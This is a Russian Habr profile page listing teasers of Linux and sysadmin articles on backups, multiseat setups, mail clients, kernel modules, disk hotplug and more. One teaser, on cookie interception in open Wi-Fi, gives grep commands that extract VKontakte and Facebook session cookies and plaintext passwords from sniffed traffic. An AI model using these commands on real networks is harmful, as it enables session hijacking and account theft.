Как стать автором
Обновить
4
0
Дмитрий @guglez

Пользователь

Отправить сообщение

Простой скрипт для инкрементального бекапа директорий

Время на прочтение3 мин
Количество просмотров13K

С чего все начиналось


«Есть 2 типа админов — те, кто ещё не делают бекапы, и те, кто уже делают.»
Будучи первым типом админа, после случайного rm -rf * в директории с проектом, очень печально осознавать, что последняя резервная копия была сделана около полугода назад. Попав в такую ситуацию, я начал поиск простого и не ресурсоемкого средства для резервного копирования информации.
Критерии:
1) Возможность делать бекапы на лету в условиях ограниченных системных ресурсов (например VPS)
2) Возможность нативно удалять устаревшие бекапы
3) Возможность работать с примонтированной файловой системой

Читать дальше →
Всего голосов 28: ↑19 и ↓9+10
Комментарии34

Один компьютер на двоих (и более) или multiseat на базе Ubuntu 10.04 LTS

Время на прочтение22 мин
Количество просмотров48K
В данной статье рассматривается реализация multiseat на базе Ubuntu 10.04 LTS с аппаратным ускорением. Пример, рассмотренный в этой статье, уже введен в эксплуатацию и работает около полугода в обычном Минском офисе. Описываются проблемы реализации и внедрения готовой системы в работу с точки зрения обычного студента-электроприводчика, который подрабатывает на полставки системным администратором.

Вступление



Вот время работы системным администратором в небольшом офисе при обновлении парка компьютеров появилась небольшая проблема. Современные компьютеры дают уровень производительности, много превосходящий необходимый для офисных компьютеров. Причем реалии рынка таковы, что различия в производительности мало сказываются на цене. И вроде бы дешевые компьютеры на базе Atom по ценовому признаку практически не отличаются от более производительных компьютеров на базе обычных процессоров Amd и Intel (материнская плата с процессором Atom стоит около 100-150 у.е. на май 2010 года, Минск, и та же цена на октябрь 2010 в том же Минске).

Та же ситуация и с жесткими дисками: для офисной работы нет необходимости в объеме диска более 40-80 Гб. Но на рынке такие жесткие диски уже практически не представлены. На момент написания статьи в продаже были жесткие диски емкостью 160 Гб (38$), 250 Гб (39$), 320 Гб (40$), 500 Гб (41$), дальше различия по ценам заметны сильнее. Цена за гигабайт жестких дисков малого объема довольно высока. Та же ситуация и со всеми остальными комплектующими.

Возникает закономерный вопрос, как рационально все это использовать? Давайте подойдем логически — чтобы удешевить систему можно либо купить комплектующие похуже (не сильно удешевляет), либо отказаться от некоторых комплектующих. По сути, в рабочем месте обязательными являются устройства ввода (клавиатура, мышь, планшет и т.д.) и устройства отображения информации (монитор, проектор и т.д.). Остальная часть системы пользователей особо не касается, и от нее можно избавляться. Безусловно, от всего избавиться не получится. Давайте заглянем под крышку системного блока. Тут мы обязательно видим материнскую плату, видеокарту (может быть уже на материнской плате), процессор (тоже может быть на материнской плате) и память. А вот остальные комплектующие уже не так важны. Оптический привод мало востребован, и поэтому его, скорее всего, не будет.
С жестким диском тоже интересная ситуация. Его может и не быть, тогда у нас будет так называемая бездисковая станция. Тут вся информация загружается по сети с сервера (реализация PXE+NFS и немного бубна). Но хочется чего-то большего.
Тогда и возникла идея подключить к одному компьютеру две клавиатуры, две мыши и два монитора и заставить их работать независимо. В зарубежных источниках такие системы называются multiseat.
Но можно на этом и не ограничиваться, а делать бездисковую multiseat-станцию. Этот вариант отлично подойдет для пары multiseat-станций с сервером. В данной статье не рассматривается.

Читать дальше →
Всего голосов 153: ↑145 и ↓8+137
Комментарии125

Идеальный корпоративный почтовый клиент

Время на прочтение26 мин
Количество просмотров176K
Когда возникает необходимость настроить почтовую систему для компании в первую очередь на ум приходит использовать решения от Microsoft — Exchange и Outlook. К сожалению, эти решения не обеспечивают достаточной гибкости и многим не подходят по разным параметрам.

Хорошо, но что же использовать вместо них, ведь хочется такой же красивой и прозрачной для пользователя работы с почтой, которую обеспечивает протокол MAPI? Небольшая перетасовычка и на свет появляется вполне очевидное и на самом деле безальтернативное решение — IMAP. IMAP, слава Богу, в современном мире в той или иной степени поддерживают чуть ли не все почтовые клиенты, так что выбор у нас огромен. Но если присмотреться внимательней, то он сужается до весьма скромного множества из одного-двух наименований.

Итак, нам бы хотелось:
  • Для начала — кросплатформенность. Глупо использовать стандартизированные технологии, но привязываться изначально к одной ОС, тогда уж проще сразу купить Exchange и навсегда забыть о какой-либо гибкости разворачиваемой инфраструктуры.
  • Полная поддержка IMAP и IMAP ACL. Второй пункт важен, т.к. без него нельзя будет организовать ни общих папок, ни передачу прав на различные операции с ящиком другим пользователям, а без этого в корпоративной почтовой системе никак.
  • Возможность централизованной настройки клиента через сервер.
  • Гибкость настроек клиента и удобство в использовании.
Недолгий поиск в интернете может поведать, что единственный вариант, который можно было бы рассмотреть поближе — это Mozilla Thunderbird. Но вот вопрос: может ли Thunderbird предоставить весь необходимый функционал, чтобы можно было с лёгкостью заменить им связку Exchange и Outlook? Оказывается не только может, но и позволяет добиться куда как большего, чем просто банальное подражание продуктам Microsoft.

Мне интересно!
Всего голосов 191: ↑175 и ↓16+159
Комментарии238

Перехват cookie в реальном времени в открытых WiFi-сетях

Время на прочтение1 мин
Количество просмотров64K


На видео показан угон сессии вконтакте.ру, который почему-то до сих пор не использует авторизацию с https и передает пароли открытым текстом.
Дамп трафика собирается программой kismac в формате libpcap и параллельно парсится grep-ом с использованием регулярных выражений, что позволяет в реальном времени выводить на экран все интересующие куки и пароли. При этом не используется никаких анализаторов пакетов.

regexp для перехвата вконтакте.ру:

tail -F pcap.файл | cat | grep -aEo «remixsid=[0-9a-f]+|l=[0-9]{3,12}|p=[0-9a-f]{36}|email=[^&]+&pass=[^ ]+»

для фейсбука:

c_user=[0-9]+|sid=[0-9]{1,5}|xs=[0-9a-f]{32}

Аналогичная конструкция будет работать и с дампом собранным с помощью airdump-ng.
Всего голосов 173: ↑158 и ↓15+143
Комментарии162

RPM-репозиторий своими руками

Время на прочтение4 мин
Количество просмотров14K

О чем речь


Доброго времени суток, %username%.

Сегодня я хотел бы рассказать как легко и ненавязчиво создать свой rpm-репозиторий, а так же заполнить его оптимизированными под ваш любимый дистрибутив пакетами. И так, для этого нам надо: дистрибутив любимый одна штука(в моём случае это VZшка с Centos 5.5), rpm-build, mock, createrepo. Все пакеты можно обнаружить в стандартных репозиториях centos.
Читать дальше →
Всего голосов 27: ↑23 и ↓4+19
Комментарии31

Пишем своё первое приложение на Android

Время на прочтение10 мин
Количество просмотров1.8M

Предисловие


Цель данного поста — с одной стороны поделиться своим успешным опытом старта разработки приложений на платформе Android и с другой стороны поспособствовать развитию рынка софта для этой замечательной и бурно растущей платформы за счёт (без ложной скромности скажу) возможно Вас, прочитавших данный пост. В сети, конечно, можно найти материалы на тему разработки приложения «чуть сложнее, чем helloworld», но как правило они разрозненные и в них не описываются различные мелкие подводные камешки. В данном посте мы рассмотрим полный цикл разработки приложения, начиная с чистого компьютера до готового apk-файла. Под катом скрины.
Читать дальше →
Всего голосов 138: ↑123 и ↓15+108
Комментарии96

Астериск для корпоративных клиентов

Время на прочтение3 мин
Количество просмотров15K
Порой слышу от сисадминов: «Поставил Астериск, на него и абонентов по SIP подключил, вот теперь все бесплатно и АТС не нужна». А как он у тебя на город звонит? А как он интегрируется с существующей телефонной сетью компании, реализованной на базе АТС Definity или Panasonic? Как он помогает бизнесу?

То что, Астериск — открытая платформа с большим выбором плат для реализации различных функций, не означает, что не требуется вкладывать деньги в развитие инфраструктуры. Пожалуй, это позволяет говорит об уменьшении затрат и меньшей степени риска при внедрении нового функционала для нужд бизнеса.

Далее поделюсь небольшим опытом внедрения Астериск'а в телефонные сети корпоративных клиентов.
Читать дальше →
Всего голосов 36: ↑31 и ↓5+26
Комментарии66

Флаги /proc/cpuinfo для архитектуры x86

Время на прочтение3 мин
Количество просмотров25K
Все мы хоть раз в жизни использовали команду cat /proc/cpuinfo. Многие — лишь для того, чтобы узнать количество процессоров и ядер в системе, некоторые — узнать о поддержке конкретной технологии, например, аппаратной виртуализации.
Однако очень мало линуксоидов воспринимают всерьез самую длинную строку вывода — так называемые flags, а еще меньше знают, как расшифровывается тот или иной параметр, поскольку зачастую флаги имеют дикие и непонятные имена. Я постараюсь описать большинство распознаваемых флагов, специфичных для архитектуры x86.
Читать дальше →
Всего голосов 63: ↑37 и ↓26+11
Комментарии25

Автоматическая преднастроенная установка Ubuntu: isolinux и preseed

Время на прочтение11 мин
Количество просмотров68K
Как известно, Ubuntu Linux уже давным-давно содержит полный набор инструментов, необходимых для работы большинства офисных сотрудников. А то, что не содержит, можно доустановить, либо же запустить с сервера, например, с помощью FreeRDP и Remmina. В результате — экономия средств и сильное упрощение администрирования клиентов. Многие фирмы уже начали потихоньку заменять свой парк машин на тонкие клиенты и полноценные компьютеры с Linux. И если вы тоже хотите пересадить пару отделов на Ubuntu, то возможно я смогу помочь вам сэкономить немного времени.

В этой статье я расскажу, как создать на основе Ubuntu (а так же любых её модификаций, включая Ubuntu Sever) или Debian преднастроенную, автоматически устанавливающуюся систему. Разобравшись в описанном ниже весьма несложном материале вы сможете делать свои собственные сборки Ubuntu с необходимыми вам приложениями и настройками, которые будут способны устанавливаться в полностью автоматическом режиме как с диска, так и по сети. В итоге при желании вы сможете добиться того, что вам будет достаточно просто включить компьютер и пойти пить чай, чтобы вернувшись увидеть установленную и полностью настроенную под ваши запросы систему со всем необходимым вам для работы софтом.

Подробнее...
Всего голосов 86: ↑78 и ↓8+70
Комментарии26

Пишем свой драйвер под Linux

Время на прочтение8 мин
Количество просмотров67K
image

Хочу признаться сразу, что я вас отчасти обманул, ибо драйвер, если верить википедии это компьютерная программа, с помощью которой другая программа (обычно операционная система) получает доступ к аппаратному обеспечению некоторого устройства. А сегодня мы создадим некую заготовку для драйвера, т.к. на самом деле ни с каким железом мы работать не будем. Эту полезную функциональность вы сможете добавить сами, если пожелаете.

То, что мы сегодня создадим, корректнее будет назвать LKM (Linux Kernel Module или загрузочный модуль ядра). Стоит сказать, что драйвер – это одна из разновидностей LKM.

Писать модуль мы будем под ядра линейки 2.6. LKM для 2.6 отличается от 2.4. Я не буду останавливаться на различиях, ибо это не входит в рамки поста.

Мы создадим символьное устройство /dev/test, которое будет обрабатываться нашим модулем. Хочу сразу оговориться, что размещать символьное устройство не обязательно в каталоге /dev, просто это является частью «древнего магического ритуала».

Читать дальше →
Всего голосов 251: ↑240 и ↓11+229
Комментарии78

Создание локального репозитория Ubuntu 10.04

Время на прочтение4 мин
Количество просмотров14K
Постепенный перевод предприятия на GNU/Linux порождает необходимость соответствующих изменений в инфраструктуре. Сегодня мы решаем проблему глобального обновления клиентских машин путем создания локального репозитория. Процесс изначально документировался как памятка на будущее, потому заранее прошу прощенья за возможные несуразности в тексте. Итак.
Для начала следует определиться, посредством чего лучше сделать это. Интернеты выделяют двух фаворитов rsync и debmirror. Выбрал последний, ввиду его большей гибкости.

1. Получение ключей


Для создания зеркала репозитория необходимо получить ключ «Ubuntu Archive Automatic Signing Key <ftpmaster@ubuntu.com>». Для этого в терминале от суперюзера вводим:
gpg --no-default-keyring --keyring trustedkeys.gpg --recv-keys 437D05B5
Читать дальше →
Всего голосов 80: ↑65 и ↓15+50
Комментарии26

Псевдографика в консоли Unix/Linux. Немного больше User Friendly чем вы могли себе позволить

Время на прочтение14 мин
Количество просмотров32K
Привет! Бывает, хочется забыть о «скучной» консоли, разбавить ее хоть капелькой интерактива, особенно если часто приходиться делать одни и теже операции и тем более если вы пишите для облегчения своей участи скрипты. Итак, псевдографика. За мной читатель, я покажу тебе такую консоль!
Читать дальше →
Всего голосов 196: ↑186 и ↓10+176
Комментарии32

Добавление и удаление на ходу SATA/SCSI устройств

Время на прочтение2 мин
Количество просмотров66K
Современный Linux (2.6+) может обнаруживать новоподключенные устройства (на шинах, которые поддерживают hotplug). Их можно, так же отключать, предварительно отмонтировав файловые системы и сделав sync. Среди hotplug шин не только USB, но и SATA, SCSI и SAS (в теории, это же применимо и к PATA, но там много глупых контроллеров, которые не умеют адекватно реагировать на исчезновение устройства).

Отключать их лучше не дёргая на ходу физическое устройство, а сказав ядру полностью забыть про про него (гарантируя тем самым, что никаких операций ввода-вывода с устройством производиться не будет, даже если вспохватившийся кеш). Кроме того, иногда нужно выполнять эмуляцию процедуры plug-unplug без физического дёргания питания/шины данных (что не очень хорошо для железа). Самая типичная ситуация — это отладка скриптов udev.

Удаление устройства


echo 1 >/sys/block/sdX/device/delete

(x — буква устройства, sda, sdb, etc).

Эта команда удаляет указанное устройство. Заметим, это низкоуровневая команда, которая не проверяет кеш и статус примонтированности, так что лучше сначала сказать umount & sync.

К сожалению, я не знаю метода совместить выключение шпинделя диска с его удалением с точки зрения ядра. Шпиндель можно отключить командой scsi-spin, однако, при попытке удалить устройство, оно будет раскручено заново и удалено. А у удалённого устройства уже нельзя ничего останавливать (нет устройства). Так что эта часть проблемы пока не решена.

Добавление устройства


Мы не можем «добавить» устройство, мы можем отдать контроллеру команду «перечитать» список устройств, подключенных к тому или иному порту. Если там найдётся что-то интересное, ядру дадут знать.

echo "- - -" >/sys/class/scsi_host/hostX/scan

X — номер шины, совпадает с номером SATA порта на материнской плате. Если не знаете, можете смело делать для всех хостов по очереди, ничего, кроме небольшого лага в дисковых операциях, незаметного для софта и файловой системы, это не даст.

Обратите внимание, host'ы нумеруются с 0, а не с 1. (а в dmesg ata устройства нумеруются с 1).

Так же осуществляется и сканирование USB-SATA переходников (usb-боксов и внешних винчестеров — они просто фигурируют как ещё один scsi_host).

Если мы говорим про SCSI, то вместо "- — -" можно указать точный номер устройства/шины/LUN'а сканируемого устройства (например, «200 1 2»). SATA, в силу архитектурных особенностей (один target для одного initiator) принимает туда только «0 0 0».

Ещё об удалении… Если вы не знаете буквы устройства, но знаете его физическое место подключения, то удалять можно «прямым текстом», записью «1» в "/sys/bus/scsi/devices/targetX:0:0/X:0:0:0/delete".
Всего голосов 64: ↑54 и ↓10+44
Комментарии48

Электровелосипед своими руками

Время на прочтение5 мин
Количество просмотров377K
Тема электротранспорта меня интересовала всегда.
И вот наступил долгожданный момент, когда я от теории наконец перешел к практике. О своём опыте я поведаю ниже.

Пара мыслей в качестве вступления.
Почему именно сейчас так активно заговорили про электромобили, электросамолёты, электробайки? Наконец почти разрешилась основная проблема электротранспорта — начали появляться достаточно компактные и емкие батареи. Более того, они заряжаются за терпимое время. Собственно только этого и ждали, все остальное давно создано и «обкатано» — кузов, ходовая часть, электроника, электромоторы. Все это уже используется сотню лет. А электромоторы позволяют использовать непривычные решения — к примеру устанавливать себя в ступицы самих колес.

К делу!

Технические характеристики:

— велосипед обычный, средней ушатанности, цена примерно 200$
— электромотор на 48V и мощность 380W
— батарея на 48V и 10A
— скорость без помощи педалей по ровной дороге 35-40 км/ч
— дальность поездки 22-25 км по легкой холмистой местности и в городе
— время полного заряда 2 часа

image

Надо отметить, что переоборудование не сильно бросается в глаза и большинство людей на улице просто не замечают ничего необычного в велосипеде.
Читать дальше →
Всего голосов 459: ↑454 и ↓5+449
Комментарии316

Тонкая настройка Synaptics Touchpad

Время на прочтение3 мин
Количество просмотров118K
Synaptics производит отличные тачпады: они отзывчивы, обладают мультитачем и, что самое главное, их можно долго и нудно легко и просто настраивать под свои ловкие пальчики.

Вот только одна незадачка: вся эта прелесть прекрасно работает в Windows 7, в то время как в Linux как всегда лишь унылые огрызки, и наполовину не использующие все свои возможности.

Бесстрашный Хабраюзер, готов ли ты бороться со вселенской несправедливостью? Тогда добро пожаловать под хабракат, тебя ждет море удовольствия, linux-way и миллионы счастливых кликов на выходе :)
Читать дальше →
Всего голосов 62: ↑46 и ↓16+30
Комментарии51

Запуск программ в Yakuake при старте KDE

Время на прочтение1 мин
Количество просмотров5.6K
Всем привет!

На домашнем компьютере я использую Linux в виде Kubuntu 10.04, т.к. с давних пор проникся функциональностью десктопа KDE.
Не представляю себе пользователя KDE, который бы не использовал очень удобный эмулятор терминала Yakuake. И все бы хорошо, но недавно захотелось, чтобы при старте системы, в разных сессиях Yakuake запускались некоторые консольные утилиты (возьмем, к примеру, htop и rtorrent). Команды man yakuake и yakuake --help подсказали. что не стоит ждать простых решений. Как-то сами в голове всплыли слова классика:
«За мной, читатель! Кто сказал тебе, что нет нет на свете настоящей, верной, вечной любви? Да отрежут лгуну его гнусный язык! За мной, мой читатель, и только за мной, и я покажу тебе такую любовь!»
Читать дальше →
Всего голосов 23: ↑19 и ↓4+15
Комментарии27

Миграция с RAID1 на RAID5 в mdadm без потери данных

Время на прочтение2 мин
Количество просмотров10K
Допустим есть у нас под Linux софтварный RAID1 собранный с помощью mdadm:
# cat /proc/mdstat
Personalities : [raid1]
md0 : active raid1 sdb[1] sda[0]
      8387572 blocks super 1.2 [2/2] [UU]

И появился у нас еще один винчестер который хотелось бы воткнуть в данную машину расширив доступное дисковое пространство не потеряв при этом в отказоустойчивости т.е. перейти с RAID1 на RAID5.
Читать дальше →
Всего голосов 47: ↑45 и ↓2+43
Комментарии51

Пока гром не грянет…

Время на прочтение3 мин
Количество просмотров31K
Возможно, кому-то уже доводилось попадать в неприятную ситуацию – когда по какой-то причине выходит из строя RAID-контроллер, или просто массив «рассыпается». Особенно часто это происходит с дешевыми контроллерами, встроенными в материнскую плату. Расскажу небольшую, но поучительную историю, произошедшую со мной на заре моей админской карьеры.
image

Читать дальше →
Всего голосов 89: ↑72 и ↓17+55
Комментарии155

Организация SSH-доступа по одноразовым паролям

Время на прочтение4 мин
Количество просмотров6.9K
В любой серьезной компании иногда возникает необходимость в том, чтобы сотрудник, уехавший в отпуск, срочно выполнил свои должностные обязанности. Рассмотрим ситуацию, когда компании необходим конкретный сотрудник, например, системный администратор, который в данный момент возлежит на пляже в тысяче километров от душного офиса. Допустим даже, что этот сотрудник согласен выполнить неожиданно свалившуюся ему на голову работу и на курорте есть интернет-кафе. Но вот проблема: кафе располагается в темном переулке, на его компьютерах стоят популярная ОС, трояны, кейлоггеры и прочие хактулзы, так что набирать пароль root'а от главного сервера компании на подобных машинах довольно неразумно.

Существует несколько решений этой задачи. Например, можно использовать одноразовые пароли, а именно систему s/key, использующую для генерации паролей алгоритмы md4 и md5. Об этой системе и будет рассказано далее.
Читать дальше →
Всего голосов 95: ↑93 и ↓2+91
Комментарии45

Список команд чата Skype

Время на прочтение6 мин
Количество просмотров691K
...Skype — это дьявольски хитрая программа, написанная бесспорно талантливыми людьми...Крис Касперски

Доброго времени суток!

Skype сейчас я встречаю чаще на компьютерах чем другие IM клиенты, мне он практически заменил icq, вся рабочая переписка ведется в skype, но речь пойдет не о том, что лучше или популярней. Часто бывает так, что участвуешь сразу в нескольких чатах где количество участников превышает 10, что собственно и приводит к тому, что на рабочем столе и в трее постоянно обновляется количество новых сообщений, а также уведомления в виде всплывающих сообщений, а теперь представьте что у вас 3 окна чата с друзьями, 1 с вашим боссом, другой с девушкой — все это в сумме начинает запутывать, отвлекать и порой раздражать. Хотелось бы расставить приоритеты…

Раньше я чаще всего настраивал «политику» уведомлений только через глобальные настройки программы
Случилось так, что я узнал, что в каждом окне чата skype возможно использование команд, например /alertsoff отключит уведомления для конкретного окна чата, соответственно /alertson включит их обратно.
Поискав немного я наткнулся на некое how-to, оказывается у skype чата довольно много текстовых команд, подобие IRC команд. Далее я постарался попробовать все возможные из них на двух имеющихся у меня платформах, как оказалось не все и не везде работает… Прошу под кат.

Читать дальше →
Всего голосов 187: ↑174 и ↓13+161
Комментарии79

Информация

В рейтинге
Не участвует
Откуда
Bayern, Германия
Дата рождения
Зарегистрирован
Активность